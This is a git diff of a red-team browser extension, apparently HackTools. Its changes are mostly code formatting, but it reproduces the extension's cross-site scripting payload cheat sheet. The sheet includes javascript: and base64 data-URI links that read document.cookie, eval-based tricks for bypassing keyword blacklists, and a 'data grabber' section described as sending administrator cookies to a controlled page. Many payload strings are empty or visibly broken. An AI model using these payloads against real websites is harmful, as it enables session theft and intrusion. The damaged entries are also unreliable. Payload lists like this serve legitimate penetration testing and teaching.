@@ -107,7 +101,7 @@ export default (props) => {
key='b'
style={{
padding: 15,
- marginTop: 15,
+ marginTop: 15
}}
>
Time-Based
@@ -124,7 +118,7 @@ export default (props) => {
key='c'
style={{
padding: 15,
- marginTop: 15,
+ marginTop: 15
}}
>
Generic Error Based Payloads
@@ -141,7 +135,7 @@ export default (props) => {
key='d'
style={{
padding: 15,
- marginTop: 15,
+ marginTop: 15
}}
>
Authentication Based Payloads
@@ -158,7 +152,7 @@ export default (props) => {
key='e'
style={{
padding: 15,
- marginTop: 15,
+ marginTop: 15
}}
>
Order by and UNION Based Payloads
diff --git a/src/components/web/XSS.js b/src/components/web/XSS.js
index 6d5d504..712619e 100644
--- a/src/components/web/XSS.js
+++ b/src/components/web/XSS.js
@@ -1,189 +1,176 @@
-import React from "react";
-import { Typography, Divider } from "antd";
-import QueueAnim from "rc-queue-anim";
+import React from 'react';
+import { Typography, Divider } from 'antd';
+import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph } = Typography;
export default (props) => {
- const DataGrabber = [
- {
- title:
- "",
- },
- {
- title:
- "",
- },
- {
- title:
- "",
- },
- {
- title:
- "",
- },
- ];
- const BasicXSS = [
- { title: "" },
- { title: "
ipt>alert('XSS') ipt>" },
- { title: '">' },
- { title: '">' },
- ];
- const ImgPayload = [
- { title: "
" },
- { title: "
" },
- {
- title: "
",
- },
- { title: "
" },
- { title: '">
' },
- { title: '">
' },
- ];
- const XSSMarkdown = [
- { title: "[a](javascript:prompt(document.cookie))" },
- { title: "[a](j a v a s c r i p t:prompt(document.cookie))" },
- {
- title:
- "[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)",
- },
- { title: "[a](javascript:window.onerror=alert;throw%201)" },
- ];
- const XSSSvg = [
- {
- title:
- "
",
- },
- { title: "
]]> " },
- {
- title:
- "
]]> ",
- },
- {
- title: "
]]> ",
- },
- ];
- const BypassWord = [
- { title: "eval('ale'+'rt(0)');" },
- { title: "Function('ale'+'rt(1)')();" },
- { title: "new Function`alert`6``;" },
- { title: "setTimeout('ale'+'rt(2)');" },
- { title: "setInterval('ale'+'rt(10)');" },
- { title: "Set.constructor('ale'+'rt(13)')();" },
- { title: "Set.constructor`al\x65rt\x2814\x29```;" },
- ];
- return (
-
-
- Cross Site Scripting (XSS)
-
-
- Cross-Site Scripting (XSS) attacks are a type of injection, in which
- malicious scripts are injected into otherwise benign and trusted
- websites. XSS attacks occur when an attacker uses a web application to
- send malicious code, generally in the form of a browser side script, to
- a different end user.
-
-
- Flaws that allow these attacks to succeed are quite widespread and occur
- anywhere a web application uses input from a user within the output it
- generates without validating or encoding it.
-
-
-
-
Data grabber for XSS
-
- Obtains the administrator cookie or sensitive access token, the
- following payload will send it to a controlled page.
-
- {DataGrabber.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
-
-
-
XSS in HTML/Applications
-
Basic Payload
- {BasicXSS.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
Img tag payload
- {ImgPayload.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
-
-
-
XSS in Markdown
- {XSSMarkdown.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
-
-
-
XSS in SVG (short)
- {XSSSvg.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
-
-
-
Bypass word blacklist with code evaluation
- {BypassWord.map((k, i) => {
- return (
-
- {k.title}
-
- );
- })}
-
-
- );
+ const DataGrabber = [
+ {
+ title: ""
+ },
+ {
+ title: ""
+ },
+ {
+ title: ""
+ },
+ {
+ title: ""
+ }
+ ];
+ const BasicXSS = [
+ { title: "" },
+ { title: "
ipt>alert('XSS') ipt>" },
+ { title: '">' },
+ { title: '">' }
+ ];
+ const ImgPayload = [
+ { title: "
" },
+ { title: "
' },
+ {
+ title: '
'
+ },
+ { title: '
' },
+ { title: '">
' },
+ { title: '">
' }
+ ];
+ const XSSMarkdown = [
+ { title: '[a](javascript:prompt(document.cookie))' },
+ { title: '[a](j a v a s c r i p t:prompt(document.cookie))' },
+ {
+ title: '[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)'
+ },
+ { title: '[a](javascript:window.onerror=alert;throw%201)' }
+ ];
+ const XSSSvg = [
+ {
+ title: "
"
+ },
+ { title: '
]]> ' },
+ {
+ title: '
]]> '
+ },
+ {
+ title: '
]]> '
+ }
+ ];
+ const BypassWord = [
+ { title: "eval('ale'+'rt(0)');" },
+ { title: "Function('ale'+'rt(1)')();" },
+ { title: 'new Function`alert`6``;' },
+ { title: "setTimeout('ale'+'rt(2)');" },
+ { title: "setInterval('ale'+'rt(10)');" },
+ { title: "Set.constructor('ale'+'rt(13)')();" },
+ { title: 'Set.constructor`al\x65rt\x2814\x29```;' }
+ ];
+ return (
+
+
+ Cross Site Scripting (XSS)
+
+
+ Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into
+ otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send
+ malicious code, generally in the form of a browser side script, to a different end user.
+
+
+ Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses
+ input from a user within the output it generates without validating or encoding it.
+
+
+
+
Data grabber for XSS
+
+ Obtains the administrator cookie or sensitive access token, the following payload will send it to a
+ controlled page.
+
+ {DataGrabber.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
+
+
+
XSS in HTML/Applications
+
Basic Payload
+ {BasicXSS.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
Img tag payload
+ {ImgPayload.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
+
+
+
XSS in Markdown
+ {XSSMarkdown.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
+
+
+
XSS in SVG (short)
+ {XSSSvg.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
+
+
+
Bypass word blacklist with code evaluation
+ {BypassWord.map((k, i) => {
+ return (
+
+ {k.title}
+
+ );
+ })}
+
+
+ );
};
diff --git a/src/devtools/devtools.js b/src/devtools/devtools.js
index f6a5d6d..ef489a2 100644
--- a/src/devtools/devtools.js
+++ b/src/devtools/devtools.js
@@ -1,14 +1,10 @@
-navigator.userAgent.indexOf("Firefox") != -1 &&
- browser.devtools.panels.create(
- "HackTools",
- "get_started16.png",
- "index.html"
- );
+navigator.userAgent.indexOf('Firefox') != -1 &&
+ browser.devtools.panels.create('HackTools', 'get_started16.png', 'index.html');
-navigator.userAgent.indexOf("Chrome") != -1 &&
+navigator.userAgent.indexOf('Chrome') != -1 &&
chrome.devtools.panels.create(
- "HackTools", // title for the panel tab
+ 'HackTools', // title for the panel tab
null, // path to an icon
- "index.html", // html page which is gonna be injecting into the tab's content
+ 'index.html', // html page which is gonna be injecting into the tab's content
null // callback function here
);
diff --git a/src/manifest.json b/src/manifest.json
index 5f1d703..004d8ee 100644
--- a/src/manifest.json
+++ b/src/manifest.json
@@ -1,6 +1,6 @@
{
"name": "Hack Tools",
- "version": "0.2.1",
+ "version": "0.3.0",
"description": "The all in one Red team extension for web pentester",
"browser_action": {
"default_title": "Hack Tools",
diff --git a/webpack.config.js b/webpack.config.js
index 69f9712..6ec6281 100644
--- a/webpack.config.js
+++ b/webpack.config.js
@@ -1,58 +1,58 @@
-const path = require("path");
-const HtmlWebpackPlugin = require("html-webpack-plugin");
-const { CleanWebpackPlugin } = require("clean-webpack-plugin");
-const CopyWebpackPlugin = require("copy-webpack-plugin");
+const path = require('path');
+const HtmlWebpackPlugin = require('html-webpack-plugin');
+const { CleanWebpackPlugin } = require('clean-webpack-plugin');
+const CopyWebpackPlugin = require('copy-webpack-plugin');
module.exports = {
- mode: "development",
- entry: {
- app: "./src/App.js",
- },
- devtool: "source-map",
- plugins: [
- new CleanWebpackPlugin(),
- new HtmlWebpackPlugin({
- title: "Output Management",
- template: "./src/index.html",
- }),
- new CopyWebpackPlugin(
- [
- { from: "./src/manifest.json", to: "./", flatten: true },
- { from: "./src/assets/img/icons/*", to: "./", flatten: true },
- { from: "./src/assets/icons/*", to: "./", flatten: true },
- { from: "./src/devtools/*", to: "./", flatten: true },
- ],
- {
- copyUnmodified: true,
- }
- ),
- ],
- output: {
- filename: "[name].bundle.js",
- path: path.resolve(__dirname, "dist"),
- },
- module: {
- rules: [
- {
- test: /\.js$/,
- include: path.resolve(__dirname, "src"),
- loader: "babel-loader",
- },
- {
- test: /\.css$/,
- include: path.resolve(__dirname, "src"),
- use: ["style-loader", "css-loader"],
- },
- {
- test: /\.(png|svg|jpg|gif)$/,
- include: path.resolve(__dirname, "src"),
- use: ["file-loader"],
- },
- {
- test: /\.(woff|woff2|eot|ttf|otf)$/,
- include: path.resolve(__dirname, "src"),
- use: ["file-loader"],
- },
- ],
- },
+ mode: 'development',
+ entry: {
+ app: './src/App.js'
+ },
+ devtool: 'source-map',
+ plugins: [
+ new CleanWebpackPlugin(),
+ new HtmlWebpackPlugin({
+ title: 'Output Management',
+ template: './src/index.html'
+ }),
+ new CopyWebpackPlugin(
+ [
+ { from: './src/manifest.json', to: './', flatten: true },
+ { from: './src/assets/img/icons/*', to: './', flatten: true },
+ { from: './src/assets/icons/*', to: './', flatten: true },
+ { from: './src/devtools/*', to: './', flatten: true }
+ ],
+ {
+ copyUnmodified: true
+ }
+ )
+ ],
+ output: {
+ filename: '[name].bundle.js',
+ path: path.resolve(__dirname, 'dist')
+ },
+ module: {
+ rules: [
+ {
+ test: /\.js$/,
+ include: path.resolve(__dirname, 'src'),
+ loader: 'babel-loader'
+ },
+ {
+ test: /\.css$/,
+ include: path.resolve(__dirname, 'src'),
+ use: [ 'style-loader', 'css-loader' ]
+ },
+ {
+ test: /\.(png|svg|jpg|gif)$/,
+ include: path.resolve(__dirname, 'src'),
+ use: [ 'file-loader' ]
+ },
+ {
+ test: /\.(woff|woff2|eot|ttf|otf)$/,
+ include: path.resolve(__dirname, 'src'),
+ use: [ 'file-loader' ]
+ }
+ ]
+ }
};